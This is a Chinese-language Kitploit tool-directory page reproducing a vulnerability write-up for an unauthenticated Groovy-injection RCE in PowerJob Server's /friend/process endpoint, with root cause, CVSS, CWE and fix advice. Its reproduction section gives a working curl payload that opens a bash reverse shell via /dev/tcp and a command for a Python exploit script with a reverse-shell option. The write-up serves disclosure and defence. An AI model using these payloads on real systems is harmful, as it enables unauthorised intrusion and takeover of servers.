Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — 未认证的远程代码执行漏洞利用工具,针对 PowerJob Server 中 /friend/process 端点存在的 Groovy 注入问题,可实现任意命令执行并获取反向 Shell。 | Kitploit
工具/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问木马
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

未认证的远程代码执行漏洞利用工具,针对 PowerJob Server 中 /friend/process 端点存在的 Groovy 注入问题,可实现任意命令执行并获取反向 Shell。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
25天前尚未审核
分享

PowerJob 服务器通过未认证的 /friend/process(Groovy 注入)实现远程代码执行

1. 概述

PowerJob 服务器(分布式任务调度/计算框架)在其 Worker↔Server 传输层 HTTP 端口 10010 上暴露了 /friend/process 端点,且完全没有身份认证。该端点会反射调用任意 Spring Bean 的任意公共方法;攻击者调用 GroovyEvaluator.evaluate 即可执行任意 Groovy 表达式,实现未认证的远程代码执行。默认的 docker-compose 将该端口发布到 0.0.0.0,因此服务器可在零凭据的情况下被完全攻陷。

2. 受影响产品

  • 产品: PowerJob(分布式任务调度/计算框架)
  • 受影响版本: 5.1.2(传输层设计沿袭自早期版本;旧版本同样受影响——报告 4.x–5.1.2)
  • 源代码仓库: https://github.com/PowerJob/PowerJob
  • 默认部署: docker-compose.yml:29-33,47-48 将 (HTTP 传输)、(AKKA)、(MU)发布到宿主机
10010
10086
10077
0.0.0.0

3. 漏洞位置

项目值
触发端点POST http://<server>:10010/friend/process
注册FriendActor.java @Actor(path = "friend") + @Handler(path = "process")(为所有三种协议注册:HTTP/MU/AKKA)
反射执行RemoteRequestProcessor.processRemoteRequest()
危险汇聚点GroovyEvaluator.evaluate() → ScriptEngine.eval()
缺少身份认证HttpVertxCSInitializer(HTTP)/ MuServerHandler(MU)注册路由时未进行任何令牌/签名检查

关键源文件(相对于仓库根目录):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java(注册 10010 路由,无身份认证)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. 根本原因

  1. 传输层零身份认证: PowerJob 将 Worker 与 Server 之间的通信协议(HTTP/AKKA/MU)视为"内部信任"区域。任何能够访问端口 10010/10086/10077 的主机都被视为合法节点;既没有握手也没有签名。
  2. 任意 Bean 反射: RemoteRequestProcessor.processRemoteRequest 完全信任请求体中的 className、methodName、parameterTypes 和 args 字段——它使用 Class.forName + SpringUtils.getBean 获取任意 Spring Bean,然后通过 Spring ReflectionUtils 调用其任意公共方法。
  3. 可触达的危险方法: GroovyEvaluator 是一个 @Component Bean,其 evaluate(String, Object) 方法调用 Groovy 脚本引擎(ScriptEngineManager)直接对攻击者的表达式执行 eval()。

三者结合即等于未认证的 RCE。

5. 攻击场景(前提条件:仅需网络可达端口 10010)

  1. 攻击者向 PowerJob 服务器的 10010 端口发送 HTTP POST 请求(无需 Cookie/Token)。
  2. 请求体是一个 RemoteProcessReq JSON,以任意 Groovy 表达式(例如 'id'.execute().text)为目标调用 GroovyEvaluator.evaluate。
  3. 服务器反射调用该方法;Groovy 引擎对表达式求值。
  4. 命令执行结果通过 AskResponse.data(base64 JSON)返回给攻击者。
  5. 攻击者还可以使用 Groovy 写入任意文件、生成反向 Shell 或窃取数据。

6. 复现(已验证)

环境:JDK 17,源码构建的 powerjob-server-starter-5.1.2.jar(daily 配置),服务器监听于 192.168.49.128:10010。在 JDK 21 上重新验证(以下 shell 形式载荷在两者上均有效;参见下方关于 File.write 的说明)。

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

实际响应: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}。对 data 字段进行 Base64 解码即可得到在服务器 JVM 上执行的命令输出:

image

或者,您也可以使用脚本进行复现:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. 实际表现与预期对比

  • 实际表现: 未认证的 HTTP 请求导致服务器执行任意命令。
  • 预期行为: /friend/process 属于 Server↔Worker 内部通信的一部分;它应拒绝未认证的请求,或者该方法根本不应被远程调用。

8. 影响

  • 机密性: 高——可读取服务器上的任意文件/内存/凭据。
  • 完整性: 高——可任意写入文件、篡改配置和任务。
  • 可用性: 高——可终止进程/服务。
  • 影响边界: 服务器进程 → 宿主机(以服务用户的权限);在默认部署中,攻击者可横向移动进入宿主机的内部网络。

9. 修复建议

  1. 在传输层添加 Server/Worker 双向身份认证(令牌/签名)并验证来源;不要将 10010/10086/10077 暴露到公网。
  2. 将 RemoteRequestProcessor 改为白名单机制:将 className/methodName 限制为框架定义的安全处理器,禁止对任意 Bean 进行反射调用。
  3. 移除或严格限制 GroovyEvaluator 的远程可达性(如必须保留,请添加身份认证和沙箱)。
  4. 默认禁用 /friend/process(S4S_HANDLER_PROCESS),或仅限制为内部来源访问。

10. CWE

  • 主要:CWE-94(对生成代码的控制不当——Groovy 注入)
  • 次要:CWE-470(使用外部控制的输入来选择类或代码——任意 Bean 反射)、CWE-306(关键功能缺少身份认证)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 严重

12. 环境

  • 操作系统:Ubuntu 22.04 / Linux 6.8
  • JDK:17.0.19(原始复现);在 OpenJDK 21.0.11 上重新验证
  • 构建:Maven 3.6.3,mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • 数据库:MariaDB 10.6(非必需——/friend/process 无需数据库即可触发)
  • 运行:java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
下载工具